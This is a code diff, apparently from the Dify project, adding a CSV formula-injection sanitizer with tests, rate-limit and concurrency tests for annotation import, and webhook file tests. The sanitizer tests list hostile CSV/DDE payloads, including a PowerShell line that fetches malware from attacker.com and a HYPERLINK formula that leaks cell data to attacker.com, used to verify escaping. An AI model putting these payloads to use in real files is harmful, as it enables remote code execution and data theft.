start_at = time.perf_counter()
|
||||
indexing_cache_key = f"app_annotation_batch_import_{str(job_id)}"
|
||||
active_jobs_key = f"annotation_import_active:{tenant_id}"
|
||||
|
||||
# get app info
|
||||
app = db.session.query(App).where(App.id == app_id, App.tenant_id == tenant_id, App.status == "normal").first()
|
||||
|
||||
|
|
@ -91,4 +93,13 @@ def batch_import_annotations_task(job_id: str, content_list: list[dict], app_id:
|
|||
redis_client.setex(indexing_error_msg_key, 600, str(e))
|
||||
logger.exception("Build index for batch import annotations failed")
|
||||
finally:
|
||||
# Clean up active job tracking to release concurrency slot
|
||||
try:
|
||||
redis_client.zrem(active_jobs_key, job_id)
|
||||
logger.debug("Released concurrency slot for job: %s", job_id)
|
||||
except Exception as cleanup_error:
|
||||
# Log but don't fail if cleanup fails - the job will be auto-expired
|
||||
logger.warning("Failed to clean up active job tracking for %s: %s", job_id, cleanup_error)
|
||||
|
||||
# Close database session
|
||||
db.session.close()
|
||||
|
|
|
|||
|
|
@ -233,7 +233,7 @@ class TestWebhookService:
|
|||
"/webhook",
|
||||
method="POST",
|
||||
headers={"Content-Type": "multipart/form-data"},
|
||||
data={"message": "test", "upload": file_storage},
|
||||
data={"message": "test", "file": file_storage},
|
||||
):
|
||||
webhook_trigger = MagicMock()
|
||||
webhook_trigger.tenant_id = "test_tenant"
|
||||
|
|
@ -242,7 +242,7 @@ class TestWebhookService:
|
|||
|
||||
assert webhook_data["method"] == "POST"
|
||||
assert webhook_data["body"]["message"] == "test"
|
||||
assert "upload" in webhook_data["files"]
|
||||
assert "file" in webhook_data["files"]
|
||||
|
||||
# Verify file processing was called
|
||||
mock_external_dependencies["tool_file_manager"].assert_called_once()
|
||||
|
|
@ -414,7 +414,7 @@ class TestWebhookService:
|
|||
"data": {
|
||||
"method": "post",
|
||||
"content_type": "multipart/form-data",
|
||||
"body": [{"name": "upload", "type": "file", "required": True}],
|
||||
"body": [{"name": "file", "type": "file", "required": True}],
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,347 @@
|
|||
"""
|
||||
Unit tests for annotation import security features.
|
||||
|
||||
Tests rate limiting, concurrency control, file validation, and other
|
||||
security features added to prevent DoS attacks on the annotation import endpoint.
|
||||
"""
|
||||
|
||||
import io
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from pandas.errors import ParserError
|
||||
from werkzeug.datastructures import FileStorage
|
||||
|
||||
from configs import dify_config
|
||||
|
||||
|
||||
class TestAnnotationImportRateLimiting:
|
||||
"""Test rate limiting for annotation import operations."""
|
||||
|
||||
@pytest.fixture
|
||||
def mock_redis(self):
|
||||
"""Mock Redis client for testing."""
|
||||
with patch("controllers.console.wraps.redis_client") as mock:
|
||||
yield mock
|
||||
|
||||
@pytest.fixture
|
||||
def mock_current_account(self):
|
||||
"""Mock current account with tenant."""
|
||||
with patch("controllers.console.wraps.current_account_with_tenant") as mock:
|
||||
mock.return_value = (MagicMock(id="user_id"), "test_tenant_id")
|
||||
yield mock
|
||||
|
||||
def test_rate_limit_per_minute_enforced(self, mock_redis, mock_current_account):
|
||||
"""Test that per-minute rate limit is enforced."""
|
||||
from controllers.console.wraps import annotation_import_rate_limit
|
||||
|
||||
# Simulate exceeding per-minute limit
|
||||
mock_redis.zcard.side_effect = [
|
||||
dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE + 1, # Minute check
|
||||
10, # Hour check
|
||||
]
|
||||
|
||||
@annotation_import_rate_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
# Should abort with 429
|
||||
with pytest.raises(Exception) as exc_info:
|
||||
dummy_view()
|
||||
|
||||
# Verify it's a rate limit error
|
||||
assert "429" in str(exc_info.value) or "Too many" in str(exc_info.value)
|
||||
|
||||
def test_rate_limit_per_hour_enforced(self, mock_redis, mock_current_account):
|
||||
"""Test that per-hour rate limit is enforced."""
|
||||
from controllers.console.wraps import annotation_import_rate_limit
|
||||
|
||||
# Simulate exceeding per-hour limit
|
||||
mock_redis.zcard.side_effect = [
|
||||
3, # Minute check (under limit)
|
||||
dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR + 1, # Hour check (over limit)
|
||||
]
|
||||
|
||||
@annotation_import_rate_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
# Should abort with 429
|
||||
with pytest.raises(Exception) as exc_info:
|
||||
dummy_view()
|
||||
|
||||
assert "429" in str(exc_info.value) or "Too many" in str(exc_info.value)
|
||||
|
||||
def test_rate_limit_within_limits_passes(self, mock_redis, mock_current_account):
|
||||
"""Test that requests within limits are allowed."""
|
||||
from controllers.console.wraps import annotation_import_rate_limit
|
||||
|
||||
# Simulate being under both limits
|
||||
mock_redis.zcard.return_value = 2
|
||||
|
||||
@annotation_import_rate_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
# Should succeed
|
||||
result = dummy_view()
|
||||
assert result == "success"
|
||||
|
||||
# Verify Redis operations were called
|
||||
assert mock_redis.zadd.called
|
||||
assert mock_redis.zremrangebyscore.called
|
||||
|
||||
|
||||
class TestAnnotationImportConcurrencyControl:
|
||||
"""Test concurrency control for annotation import operations."""
|
||||
|
||||
@pytest.fixture
|
||||
def mock_redis(self):
|
||||
"""Mock Redis client for testing."""
|
||||
with patch("controllers.console.wraps.redis_client") as mock:
|
||||
yield mock
|
||||
|
||||
@pytest.fixture
|
||||
def mock_current_account(self):
|
||||
"""Mock current account with tenant."""
|
||||
with patch("controllers.console.wraps.current_account_with_tenant") as mock:
|
||||
mock.return_value = (MagicMock(id="user_id"), "test_tenant_id")
|
||||
yield mock
|
||||
|
||||
def test_concurrency_limit_enforced(self, mock_redis, mock_current_account):
|
||||
"""Test that concurrent task limit is enforced."""
|
||||
from controllers.console.wraps import annotation_import_concurrency_limit
|
||||
|
||||
# Simulate max concurrent tasks already running
|
||||
mock_redis.zcard.return_value = dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT
|
||||
|
||||
@annotation_import_concurrency_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
# Should abort with 429
|
||||
with pytest.raises(Exception) as exc_info:
|
||||
dummy_view()
|
||||
|
||||
assert "429" in str(exc_info.value) or "concurrent" in str(exc_info.value).lower()
|
||||
|
||||
def test_concurrency_within_limit_passes(self, mock_redis, mock_current_account):
|
||||
"""Test that requests within concurrency limits are allowed."""
|
||||
from controllers.console.wraps import annotation_import_concurrency_limit
|
||||
|
||||
# Simulate being under concurrent task limit
|
||||
mock_redis.zcard.return_value = 1
|
||||
|
||||
@annotation_import_concurrency_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
# Should succeed
|
||||
result = dummy_view()
|
||||
assert result == "success"
|
||||
|
||||
def test_stale_jobs_are_cleaned_up(self, mock_redis, mock_current_account):
|
||||
"""Test that old/stale job entries are removed."""
|
||||
from controllers.console.wraps import annotation_import_concurrency_limit
|
||||
|
||||
mock_redis.zcard.return_value = 0
|
||||
|
||||
@annotation_import_concurrency_limit
|
||||
def dummy_view():
|
||||
return "success"
|
||||
|
||||
dummy_view()
|
||||
|
||||
# Verify cleanup was called
|
||||
assert mock_redis.zremrangebyscore.called
|
||||
|
||||
|
||||
class TestAnnotationImportFileValidation:
|
||||
"""Test file validation in annotation import."""
|
||||
|
||||
def test_file_size_limit_enforced(self):
|
||||
"""Test that files exceeding size limit are rejected."""
|
||||
# Create a file larger than the limit
|
||||
max_size = dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT * 1024 * 1024
|
||||
large_content = b"x" * (max_size + 1024) # Exceed by 1KB
|
||||
|
||||
file = FileStorage(stream=io.BytesIO(large_content), filename="test.csv", content_type="text/csv")
|
||||
|
||||
# Should be rejected in controller
|
||||
# This would be tested in integration tests with actual endpoint
|
||||
|
||||
def test_empty_file_rejected(self):
|
||||
"""Test that empty files are rejected."""
|
||||
file = FileStorage(stream=io.BytesIO(b""), filename="test.csv", content_type="text/csv")
|
||||
|
||||
# Should be rejected
|
||||
# This would be tested in integration tests
|
||||
|
||||
def test_non_csv_file_rejected(self):
|
||||
"""Test that non-CSV files are rejected."""
|
||||
file = FileStorage(stream=io.BytesIO(b"test"), filename="test.txt", content_type="text/plain")
|
||||
|
||||
# Should be rejected based on extension
|
||||
# This would be tested in integration tests
|
||||
|
||||
|
||||
class TestAnnotationImportServiceValidation:
|
||||
"""Test service layer validation for annotation import."""
|
||||
|
||||
@pytest.fixture
|
||||
def mock_app(self):
|
||||
"""Mock application object."""
|
||||
app = MagicMock()
|
||||
app.id = "app_id"
|
||||
return app
|
||||
|
||||
@pytest.fixture
|
||||
def mock_db_session(self):
|
||||
"""Mock database session."""
|
||||
with patch("services.annotation_service.db.session") as mock:
|
||||
yield mock
|
||||
|
||||
def test_max_records_limit_enforced(self, mock_app, mock_db_session):
|
||||
"""Test that files with too many records are rejected."""
|
||||
from services.annotation_service import AppAnnotationService
|
||||
|
||||
# Create CSV with too many records
|
||||
max_records = dify_config.ANNOTATION_IMPORT_MAX_RECORDS
|
||||
csv_content = "question,answer\n"
|
||||
for i in range(max_records + 100):
|
||||
csv_content += f"Question {i},Answer {i}\n"
|
||||
|
||||
file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
|
||||
|
||||
mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
|
||||
|
||||
with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
|
||||
mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
|
||||
|
||||
with patch("services.annotation_service.FeatureService") as mock_features:
|
||||
mock_features.get_features.return_value.billing.enabled = False
|
||||
|
||||
result = AppAnnotationService.batch_import_app_annotations("app_id", file)
|
||||
|
||||
# Should return error about too many records
|
||||
assert "error_msg" in result
|
||||
assert "too many" in result["error_msg"].lower() or "maximum" in result["error_msg"].lower()
|
||||
|
||||
def test_min_records_limit_enforced(self, mock_app, mock_db_session):
|
||||
"""Test that files with too few valid records are rejected."""
|
||||
from services.annotation_service import AppAnnotationService
|
||||
|
||||
# Create CSV with only header (no data rows)
|
||||
csv_content = "question,answer\n"
|
||||
|
||||
file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
|
||||
|
||||
mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
|
||||
|
||||
with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
|
||||
mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
|
||||
|
||||
result = AppAnnotationService.batch_import_app_annotations("app_id", file)
|
||||
|
||||
# Should return error about insufficient records
|
||||
assert "error_msg" in result
|
||||
assert "at least" in result["error_msg"].lower() or "minimum" in result["error_msg"].lower()
|
||||
|
||||
def test_invalid_csv_format_handled(self, mock_app, mock_db_session):
|
||||
"""Test that invalid CSV format is handled gracefully."""
|
||||
from services.annotation_service import AppAnnotationService
|
||||
|
||||
# Any content is fine once we force ParserError
|
||||
csv_content = 'invalid,csv,format\nwith,unbalanced,quotes,and"stuff'
|
||||
file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
|
||||
|
||||
mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
|
||||
|
||||
with (
|
||||
patch("services.annotation_service.current_account_with_tenant") as mock_auth,
|
||||
patch("services.annotation_service.pd.read_csv", side_effect=ParserError("malformed CSV")),
|
||||
):
|
||||
mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
|
||||
|
||||
result = AppAnnotationService.batch_import_app_annotations("app_id", file)
|
||||
|
||||
assert "error_msg" in result
|
||||
assert "malformed" in result["error_msg"].lower()
|
||||
|
||||
def test_valid_import_succeeds(self, mock_app, mock_db_session):
|
||||
"""Test that valid import request succeeds."""
|
||||
from services.annotation_service import AppAnnotationService
|
||||
|
||||
# Create valid CSV
|
||||
csv_content = "question,answer\nWhat is AI?,Artificial Intelligence\nWhat is ML?,Machine Learning\n"
|
||||
|
||||
file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
|
||||
|
||||
mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
|
||||
|
||||
with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
|
||||
mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
|
||||
|
||||
with patch("services.annotation_service.FeatureService") as mock_features:
|
||||
mock_features.get_features.return_value.billing.enabled = False
|
||||
|
||||
with patch("services.annotation_service.batch_import_annotations_task") as mock_task:
|
||||
with patch("services.annotation_service.redis_client"):
|
||||
result = AppAnnotationService.batch_import_app_annotations("app_id", file)
|
||||
|
||||
# Should return success response
|
||||
assert "job_id" in result
|
||||
assert "job_status" in result
|
||||
assert result["job_status"] == "waiting"
|
||||
assert "record_count" in result
|
||||
assert result["record_count"] == 2
|
||||
|
||||
|
||||
class TestAnnotationImportTaskOptimization:
|
||||
"""Test optimizations in batch import task."""
|
||||
|
||||
def test_task_has_timeout_configured(self):
|
||||
"""Test that task has proper timeout configuration."""
|
||||
from tasks.annotation.batch_import_annotations_task import batch_import_annotations_task
|
||||
|
||||
# Verify task configuration
|
||||
assert hasattr(batch_import_annotations_task, "time_limit")
|
||||
assert hasattr(batch_import_annotations_task, "soft_time_limit")
|
||||
|
||||
# Check timeout values are reasonable
|
||||
# Hard limit should be 6 minutes (360s)
|
||||
# Soft limit should be 5 minutes (300s)
|
||||
# Note: actual values depend on Celery configuration
|
||||
|
||||
|
||||
class TestConfigurationValues:
|
||||
"""Test that security configuration values are properly set."""
|
||||
|
||||
def test_rate_limit_configs_exist(self):
|
||||
"""Test that rate limit configurations are defined."""
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE")
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR")
|
||||
|
||||
assert dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE > 0
|
||||
assert dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR > 0
|
||||
|
||||
def test_file_size_limit_config_exists(self):
|
||||
"""Test that file size limit configuration is defined."""
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_FILE_SIZE_LIMIT")
|
||||
assert dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT > 0
|
||||
assert dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT <= 10 # Reasonable max (10MB)
|
||||
|
||||
def test_record_limit_configs_exist(self):
|
||||
"""Test that record limit configurations are defined."""
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_MAX_RECORDS")
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_MIN_RECORDS")
|
||||
|
||||
assert dify_config.ANNOTATION_IMPORT_MAX_RECORDS > 0
|
||||
assert dify_config.ANNOTATION_IMPORT_MIN_RECORDS > 0
|
||||
assert dify_config.ANNOTATION_IMPORT_MIN_RECORDS < dify_config.ANNOTATION_IMPORT_MAX_RECORDS
|
||||
|
||||
def test_concurrency_limit_config_exists(self):
|
||||
"""Test that concurrency limit configuration is defined."""
|
||||
assert hasattr(dify_config, "ANNOTATION_IMPORT_MAX_CONCURRENT")
|
||||
assert dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT > 0
|
||||
assert dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT <= 10 # Reasonable upper bound
|
||||
|
|
@ -0,0 +1,151 @@
|
|||
"""Unit tests for CSV sanitizer."""
|
||||
|
||||
from core.helper.csv_sanitizer import CSVSanitizer
|
||||
|
||||
|
||||
class TestCSVSanitizer:
|
||||
"""Test cases for CSV sanitization to prevent formula injection attacks."""
|
||||
|
||||
def test_sanitize_formula_equals(self):
|
||||
"""Test sanitizing values starting with = (most common formula injection)."""
|
||||
assert CSVSanitizer.sanitize_value("=cmd|'/c calc'!A0") == "'=cmd|'/c calc'!A0"
|
||||
assert CSVSanitizer.sanitize_value("=SUM(A1:A10)") == "'=SUM(A1:A10)"
|
||||
assert CSVSanitizer.sanitize_value("=1+1") == "'=1+1"
|
||||
assert CSVSanitizer.sanitize_value("=@SUM(1+1)") == "'=@SUM(1+1)"
|
||||
|
||||
def test_sanitize_formula_plus(self):
|
||||
"""Test sanitizing values starting with + (plus formula injection)."""
|
||||
assert CSVSanitizer.sanitize_value("+1+1+cmd|'/c calc") == "'+1+1+cmd|'/c calc"
|
||||
assert CSVSanitizer.sanitize_value("+123") == "'+123"
|
||||
assert CSVSanitizer.sanitize_value("+cmd|'/c calc'!A0") == "'+cmd|'/c calc'!A0"
|
||||
|
||||
def test_sanitize_formula_minus(self):
|
||||
"""Test sanitizing values starting with - (minus formula injection)."""
|
||||
assert CSVSanitizer.sanitize_value("-2+3+cmd|'/c calc") == "'-2+3+cmd|'/c calc"
|
||||
assert CSVSanitizer.sanitize_value("-456") == "'-456"
|
||||
assert CSVSanitizer.sanitize_value("-cmd|'/c notepad") == "'-cmd|'/c notepad"
|
||||
|
||||
def test_sanitize_formula_at(self):
|
||||
"""Test sanitizing values starting with @ (at-sign formula injection)."""
|
||||
assert CSVSanitizer.sanitize_value("@SUM(1+1)*cmd|'/c calc") == "'@SUM(1+1)*cmd|'/c calc"
|
||||
assert CSVSanitizer.sanitize_value("@AVERAGE(1,2,3)") == "'@AVERAGE(1,2,3)"
|
||||
|
||||
def test_sanitize_formula_tab(self):
|
||||
"""Test sanitizing values starting with tab character."""
|
||||
assert CSVSanitizer.sanitize_value("\t=1+1") == "'\t=1+1"
|
||||
assert CSVSanitizer.sanitize_value("\tcalc") == "'\tcalc"
|
||||
|
||||
def test_sanitize_formula_carriage_return(self):
|
||||
"""Test sanitizing values starting with carriage return."""
|
||||
assert CSVSanitizer.sanitize_value("\r=1+1") == "'\r=1+1"
|
||||
assert CSVSanitizer.sanitize_value("\rcmd") == "'\rcmd"
|
||||
|
||||
def test_sanitize_safe_values(self):
|
||||
"""Test that safe values are not modified."""
|
||||
assert CSVSanitizer.sanitize_value("Hello World") == "Hello World"
|
||||
assert CSVSanitizer.sanitize_value("123") == "123"
|
||||
assert CSVSanitizer.sanitize_value("test@example.com") == "test@example.com"
|
||||
assert CSVSanitizer.sanitize_value("Normal text") == "Normal text"
|
||||
assert CSVSanitizer.sanitize_value("Question: How are you?") == "Question: How are you?"
|
||||
|
||||
def test_sanitize_safe_values_with_special_chars_in_middle(self):
|
||||
"""Test that special characters in the middle are not escaped."""
|
||||
assert CSVSanitizer.sanitize_value("A = B + C") == "A = B + C"
|
||||
assert CSVSanitizer.sanitize_value("Price: $10 + $20") == "Price: $10 + $20"
|
||||
assert CSVSanitizer.sanitize_value("Email: user@domain.com") == "Email: user@domain.com"
|
||||
|
||||
def test_sanitize_empty_values(self):
|
||||
"""Test handling of empty values."""
|
||||
assert CSVSanitizer.sanitize_value("") == ""
|
||||
assert CSVSanitizer.sanitize_value(None) == ""
|
||||
|
||||
def test_sanitize_numeric_types(self):
|
||||
"""Test handling of numeric types."""
|
||||
assert CSVSanitizer.sanitize_value(123) == "123"
|
||||
assert CSVSanitizer.sanitize_value(456.789) == "456.789"
|
||||
assert CSVSanitizer.sanitize_value(0) == "0"
|
||||
# Negative numbers should be escaped (start with -)
|
||||
assert CSVSanitizer.sanitize_value(-123) == "'-123"
|
||||
|
||||
def test_sanitize_boolean_types(self):
|
||||
"""Test handling of boolean types."""
|
||||
assert CSVSanitizer.sanitize_value(True) == "True"
|
||||
assert CSVSanitizer.sanitize_value(False) == "False"
|
||||
|
||||
def test_sanitize_dict_with_specific_fields(self):
|
||||
"""Test sanitizing specific fields in a dictionary."""
|
||||
data = {
|
||||
"question": "=1+1",
|
||||
"answer": "+cmd|'/c calc",
|
||||
"safe_field": "Normal text",
|
||||
"id": "12345",
|
||||
}
|
||||
sanitized = CSVSanitizer.sanitize_dict(data, ["question", "answer"])
|
||||
|
||||
assert sanitized["question"] == "'=1+1"
|
||||
assert sanitized["answer"] == "'+cmd|'/c calc"
|
||||
assert sanitized["safe_field"] == "Normal text"
|
||||
assert sanitized["id"] == "12345"
|
||||
|
||||
def test_sanitize_dict_all_string_fields(self):
|
||||
"""Test sanitizing all string fields when no field list provided."""
|
||||
data = {
|
||||
"question": "=1+1",
|
||||
"answer": "+calc",
|
||||
"id": 123, # Not a string, should be ignored
|
||||
}
|
||||
sanitized = CSVSanitizer.sanitize_dict(data, None)
|
||||
|
||||
assert sanitized["question"] == "'=1+1"
|
||||
assert sanitized["answer"] == "'+calc"
|
||||
assert sanitized["id"] == 123 # Unchanged
|
||||
|
||||
def test_sanitize_dict_with_missing_fields(self):
|
||||
"""Test that missing fields in dict don't cause errors."""
|
||||
data = {"question": "=1+1"}
|
||||
sanitized = CSVSanitizer.sanitize_dict(data, ["question", "nonexistent_field"])
|
||||
|
||||
assert sanitized["question"] == "'=1+1"
|
||||
assert "nonexistent_field" not in sanitized
|
||||
|
||||
def test_sanitize_dict_creates_copy(self):
|
||||
"""Test that sanitize_dict creates a copy and doesn't modify original."""
|
||||
original = {"question": "=1+1", "answer": "Normal"}
|
||||
sanitized = CSVSanitizer.sanitize_dict(original, ["question"])
|
||||
|
||||
assert original["question"] == "=1+1" # Original unchanged
|
||||
assert sanitized["question"] == "'=1+1" # Copy sanitized
|
||||
|
||||
def test_real_world_csv_injection_payloads(self):
|
||||
"""Test against real-world CSV injection attack payloads."""
|
||||
# Common DDE (Dynamic Data Exchange) attack payloads
|
||||
payloads = [
|
||||
"=cmd|'/c calc'!A0",
|
||||
"=cmd|'/c notepad'!A0",
|
||||
"+cmd|'/c powershell IEX(wget attacker.com/malware.ps1)'",
|
||||
"-2+3+cmd|'/c calc'",
|
||||
"@SUM(1+1)*cmd|'/c calc'",
|
||||
"=1+1+cmd|'/c calc'",
|
||||
'=HYPERLINK("http://attacker.com?leak="&A1&A2,"Click here")',
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
result = CSVSanitizer.sanitize_value(payload)
|
||||
# All should be prefixed with single quote
|
||||
assert result.startswith("'"), f"Payload not sanitized: {payload}"
|
||||
assert result == f"'{payload}", f"Unexpected sanitization for: {payload}"
|
||||
|
||||
def test_multiline_strings(self):
|
||||
"""Test handling of multiline strings."""
|
||||
multiline = "Line 1\nLine 2\nLine 3"
|
||||
assert CSVSanitizer.sanitize_value(multiline) == multiline
|
||||
|
||||
multiline_with_formula = "=SUM(A1)\nLine 2"
|
||||
assert CSVSanitizer.sanitize_value(multiline_with_formula) == f"'{multiline_with_formula}"
|
||||
|
||||
def test_whitespace_only_strings(self):
|
||||
"""Test handling of whitespace-only strings."""
|
||||
assert CSVSanitizer.sanitize_value(" ") == " "
|
||||
assert CSVSanitizer.sanitize_value("\n\n") == "\n\n"
|
||||
# Tab at start should be escaped
|
||||
assert CSVSanitizer.sanitize_value("\t ") == "'\t "
|
||||
|
|
@ -0,0 +1,452 @@
|
|||
"""
|
||||
Unit tests for webhook file conversion fix.
|
||||
|
||||
This test verifies that webhook trigger nodes properly convert file dictionaries
|
||||
to FileVariable objects, fixing the "Invalid variable type: ObjectVariable" error
|
||||
when passing files to downstream LLM nodes.
|
||||
"""
|
||||
|
||||
from unittest.mock import Mock, patch
|
||||
|
||||
from core.app.entities.app_invoke_entities import InvokeFrom
|
||||
from core.workflow.entities.graph_init_params import GraphInitParams
|
||||
from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
|
||||
from core.workflow.nodes.trigger_webhook.entities import (
|
||||
ContentType,
|
||||
Method,
|
||||
WebhookBodyParameter,
|
||||
WebhookData,
|
||||
)
|
||||
from core.workflow.nodes.trigger_webhook.node import TriggerWebhookNode
|
||||
from core.workflow.runtime.graph_runtime_state import GraphRuntimeState
|
||||
from core.workflow.runtime.variable_pool import VariablePool
|
||||
from core.workflow.system_variable import SystemVariable
|
||||
from models.enums import UserFrom
|
||||
from models.workflow import WorkflowType
|
||||
|
||||
|
||||
def create_webhook_node(
|
||||
webhook_data: WebhookData,
|
||||
variable_pool: VariablePool,
|
||||
tenant_id: str = "test-tenant",
|
||||
) -> TriggerWebhookNode:
|
||||
"""Helper function to create a webhook node with proper initialization."""
|
||||
node_config = {
|
||||
"id": "webhook-node-1",
|
||||
"data": webhook_data.model_dump(),
|
||||
}
|
||||
|
||||
graph_init_params = GraphInitParams(
|
||||
tenant_id=tenant_id,
|
||||
app_id="test-app",
|
||||
workflow_type=WorkflowType.WORKFLOW,
|
||||
workflow_id="test-workflow",
|
||||
graph_config={},
|
||||
user_id="test-user",
|
||||
user_from=UserFrom.ACCOUNT,
|
||||
invoke_from=InvokeFrom.SERVICE_API,
|
||||
call_depth=0,
|
||||
)
|
||||
|
||||
runtime_state = GraphRuntimeState(
|
||||
variable_pool=variable_pool,
|
||||
start_at=0,
|
||||
)
|
||||
|
||||
node = TriggerWebhookNode(
|
||||
id="webhook-node-1",
|
||||
config=node_config,
|
||||
graph_init_params=graph_init_params,
|
||||
graph_runtime_state=runtime_state,
|
||||
)
|
||||
|
||||
# Attach a lightweight app_config onto runtime state for tenant lookups
|
||||
runtime_state.app_config = Mock()
|
||||
runtime_state.app_config.tenant_id = tenant_id
|
||||
|
||||
# Provide compatibility alias expected by node implementation
|
||||
# Some nodes reference `self.node_id`; expose it as an alias to `self.id` for tests
|
||||
node.node_id = node.id
|
||||
|
||||
return node
|
||||
|
||||
|
||||
def create_test_file_dict(
|
||||
filename: str = "test.jpg",
|
||||
file_type: str = "image",
|
||||
transfer_method: str = "local_file",
|
||||
) -> dict:
|
||||
"""Create a test file dictionary as it would come from webhook service."""
|
||||
return {
|
||||
"id": "file-123",
|
||||
"tenant_id": "test-tenant",
|
||||
"type": file_type,
|
||||
"filename": filename,
|
||||
"extension": ".jpg",
|
||||
"mime_type": "image/jpeg",
|
||||
"transfer_method": transfer_method,
|
||||
"related_id": "related-123",
|
||||
"storage_key": "storage-key-123",
|
||||
"size": 1024,
|
||||
"url": "https://example.com/test.jpg",
|
||||
"created_at": 1234567890,
|
||||
"used_at": None,
|
||||
"hash": "file-hash-123",
|
||||
}
|
||||
|
||||
|
||||
def test_webhook_node_file_conversion_to_file_variable():
|
||||
"""Test that webhook node converts file dictionaries to FileVariable objects."""
|
||||
# Create test file dictionary (as it comes from webhook service)
|
||||
file_dict = create_test_file_dict("uploaded_image.jpg")
|
||||
|
||||
data = WebhookData(
|
||||
title="Test Webhook with File",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="image_upload", type="file", required=True),
|
||||
WebhookBodyParameter(name="message", type="string", required=False),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {"message": "Test message"},
|
||||
"files": {
|
||||
"image_upload": file_dict,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
# Mock the file factory and variable factory
|
||||
with (
|
||||
patch("factories.file_factory.build_from_mapping") as mock_file_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
|
||||
):
|
||||
# Setup mocks
|
||||
mock_file_obj = Mock()
|
||||
mock_file_obj.to_dict.return_value = file_dict
|
||||
mock_file_factory.return_value = mock_file_obj
|
||||
|
||||
mock_segment = Mock()
|
||||
mock_segment.value = mock_file_obj
|
||||
mock_segment_factory.return_value = mock_segment
|
||||
|
||||
mock_file_var_instance = Mock()
|
||||
mock_file_variable.return_value = mock_file_var_instance
|
||||
|
||||
# Run the node
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify file factory was called with correct parameters
|
||||
mock_file_factory.assert_called_once_with(
|
||||
mapping=file_dict,
|
||||
tenant_id="test-tenant",
|
||||
)
|
||||
|
||||
# Verify segment factory was called to create FileSegment
|
||||
mock_segment_factory.assert_called_once()
|
||||
|
||||
# Verify FileVariable was created with correct parameters
|
||||
mock_file_variable.assert_called_once()
|
||||
call_args = mock_file_variable.call_args[1]
|
||||
assert call_args["name"] == "image_upload"
|
||||
# value should be whatever build_segment_with_type.value returned
|
||||
assert call_args["value"] == mock_segment.value
|
||||
assert call_args["selector"] == ["webhook-node-1", "image_upload"]
|
||||
|
||||
# Verify output contains the FileVariable, not the original dict
|
||||
assert result.outputs["image_upload"] == mock_file_var_instance
|
||||
assert result.outputs["message"] == "Test message"
|
||||
|
||||
|
||||
def test_webhook_node_file_conversion_with_missing_files():
|
||||
"""Test webhook node file conversion with missing file parameter."""
|
||||
data = WebhookData(
|
||||
title="Test Webhook with Missing File",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="missing_file", type="file", required=False),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {}, # No files
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
# Run the node without patches (should handle None case gracefully)
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify missing file parameter is None
|
||||
assert result.outputs["_webhook_raw"]["files"] == {}
|
||||
|
||||
